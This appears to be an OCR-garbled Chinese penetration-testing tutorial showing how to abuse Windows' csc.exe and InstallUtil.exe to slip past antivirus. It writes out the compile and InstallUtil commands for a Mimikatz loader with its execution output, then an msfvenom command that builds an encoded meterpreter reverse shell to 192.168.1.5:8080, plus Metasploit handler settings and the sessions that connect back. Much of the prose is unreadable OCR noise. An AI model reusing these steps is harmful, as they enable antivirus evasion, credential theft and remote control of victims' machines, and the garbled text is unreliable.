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payload D ERIBIRE—Z2EIEHII32RS , IURETRIXpEIELUThRA, T7EST
ik . Bfrl2aZ AWindows7UA ERRA, MARSS=ELAX6ANIES. 5= , BB T3E
MExEEE =K TShellcode , X—Z=REUABGEXETRKH{TShellcode , XEBEHEE
—MFRt | ARBETAS—ENSBMEINES | NS RmsIRYT,

THEREXHELS -

WindowsEWindows XP Media Center EditionFHAZKIALZENET Framework , BB
ZHBINWindows 10 , &RFTHIEAIAMRA/94.6.00081.00, FEERNE , BRFABNALRRA
794.7.2053.0,

csc.exe :

CHAYEWindows& THImIFEEBFRECsc.exe , WNER{RAY.NET FrameWork SDKZ
BECE | BRAMREILAEC\WINNT\Microsoft. NET\Framework\xxxxxBRFEME. 1
TERBE AR LAFSHEXNBRFIIEIPathiETEFE. HCsc.exefmiF
HelloWorld.csIEE&E , I amSRmntt , FREIFR test.cs)XHRNBERF , BIA TS
f78n<:csc /target.exe test.cs & Ttest.csfRiFRS atest.exeAJconsole N FHFEF
//test.cs
using System;
class TestApp
{

public static void Main ()

{

Console.WriteLine ("Micropoor!");

}

InstallUtil.exe :

MERETINENT

The Installer tool is a command-line utility that allows you to install and
uninstall server resources by executing the installer components in specified
assemblies. This tool works in conjunction with classes in the
System.Configuration.Install namespace.

This tool is automatically installed with Visual Studio. To run the tool, use the

Developer Command Prompt (or the Visual Studio Command Prompt in Windows
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7). For more information, see Command Prompts.

https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-

installer-tool

KFRNMHEOANLRNME © (1FEXx32, x64X3! )

C:\Windows\Microsoft. NET\Framework\
C:\Windows\Microsoft. NET\Framework64\
C:\Windows\Microsoft. NET\Framework\
C:\Windows\Microsoft. NET\Framework64\

NERE 2 demoSEERI A i BAR,

demol :

LUMZRE 6 - WS : BirANREE 7360E%. BintB%EE 7/\$ , NOD32, B
TR CEE 7 ZMIHE,

HERAAA

C:slls sktop*sn —k installutil.snk

. 4.8.38319.17929

>

17 . C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe
/r:System.EnterpriseServices.dll /r:System.I0.Compression.dll /target:library
/out:Micropoor.exe /keyfile:C:\Users\Johnn\Desktop\installutil.snk /unsafe
C:\Users\Johnn\Desktop\mimi.cs

C:slserssJohnn“Desktop>C: sWindows “\Microsof t .HET “Frameworko4 w4 . A.3831?cs5c.exe
r:Suztem.Enterpriselfervices.dll Ar:System.I0.Compression.dll Atarget:library Aou
t:Micropoor.exe skeyfile:C: Uszers Johnn*Dezsktop~inztallutil.snk sunszafe G: “lUsers
“Johnn“Desktopmimi.cs

Microsoft<R> Uisual CH# Z{iZF

7 4.8.38319.36415
EH:F Iilic:rusuft(ﬂ) -MET Framework 4.5 e
h [ <C> Microsoft Corporation. {Fig



https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false /U C:\Users\Johnn\Desktop\Micropoor.exe

C:\Windows\system32>C: \Ulndows\chrosoft.NET\Frameworkﬁ&\uﬁ 0.30319\InstallUtil.
exe /logfile= /LogToConsole=false /U C:\Users\. “Desktop\Micropoor.exe
soft {R) .NET Framework % HHET A 4.0.30319.36415
TEFERE (C) Microsoft Corporation. . 1% HEMAFFL .

Hello There From Uninstall

Downloaded Latest

Preferred Load Address = 140000000

Hllocated Space For 65000 at 2420000
Ctext , Copied To 2421000
.rdata , Copied To 244F000
.data , Copied To 2479000
.pdata ., Copied To 247D008
.FSIrc , Copied To 247F000
.reloc , Copied To 2483000
— FFFFFFFEC2420000

Loaded ADVAPI3Z2.d11

Loaded CRYPT32.d11

Loaded cryptdll.dll

Loaded NETAPI3Z.d11

Loaded HNTDSAPI.d11

Loaded ntdll.dll
Loaded KERNEL32.d11
Loaded mswvcrt.dll
Executing Mimikatz

M. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Hov 13 2015 00:44:32)
CHETOHH,
HHE /N HE e o= o=
# \ / ##  Benjamin DELPY ‘gentilkiwi® { benjamin@gentilkiwi.com )
THE v B http://blog.gentilkiwi.com/mimikatz {oe.eo)
"HEHEE with 17 modules = = =/

mimikatz{commandline) # /logfile=
ERROR mimikatz_dolocal ; "/flogfile=" command of “"standard” module not found !

Module : standard
Full name : Standard module .
Description : Basic commands {does not require module name)

exit - Quit mimikatz

demo?2 :

LAmsf7af1

4 pishlicode

msfvenom --platform Windows -a x64 -p
windows/x64/meterpreter/reverse_tcp_uuid LHOST=192.168.1.5 LPORT=8080 -b
"\x00' -e x64/xor -i 10 -f csharp -o ./Micropoor.txt



-e xB4/xor -1 10 -f csharp -0 ./Micropoor.txt

ruutrg]uhn:_.-";.rar_.-"'.-n-n-r_.-"htrnl# cat Micropoor.txt

Eashellcode,



public class Shellcode

public static wvoid Exec|()
{

byce[]l shellcode = new bytel 1 {1
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T E
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64

/out:Micropoor.exe M.cs

C:slserssJohnn“Desktop? C:“Windows“*Microsoft _ HET“Frameworktd w2 _B_508727csc.exe
sunzafe splatform:-x6d /uut:Hiqrupuur.exe H.cs
Microsoft (R> Uisual CH 2085 ZRifzs | - 8.80.58727 . 5483

Microsoft (R> Windows (R> 2808% Framework R 2.8.58727

=17
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\InstallUtil.exe /logfile=

/LogToConsole=false /U Micropoor.exe



C:xlserssJohnnsDesktop?> GC:sMWindows“Microsoft . NET “Frameworkbd w2 A.58727~Installll
til.exe ~logfile= ~LogToConsole=false ~U H%crupuur.exe

Microsoft (R> .NET Framework ZrifilCFHT 2.A.58727_5483
¥§(C) Microsoft Corporation.

T ORI RIS R | BISITEERE—LSE , BRIt S{Rsession,

msf exploit (multi/handler) > set exitonsession false
msf exploit (multi/handler) >

msf exploit (multi/handler) > set Stageencoder x64/xor

Stageencoder => x64/xor

msf exploit (multi/handler) > set stageencodingfallback false
stageencodingfallback => false

msf exploit (multi/handler) > exploit -J -z

= set exitonsession false

zet EnableStageEncoding true

set Stageencoder x64/wor

t stageencodingfallback false

s



Id Mame Type Information

meterprete - P nn- @ JOHMN-PC

iploit (multi/handler)

Id Mame Type Information

meterprete { ) n-FPCyJohnn @ JOHMM-PC

FPID  Mame

mimi.cs
953.71KB

shllcode.cs
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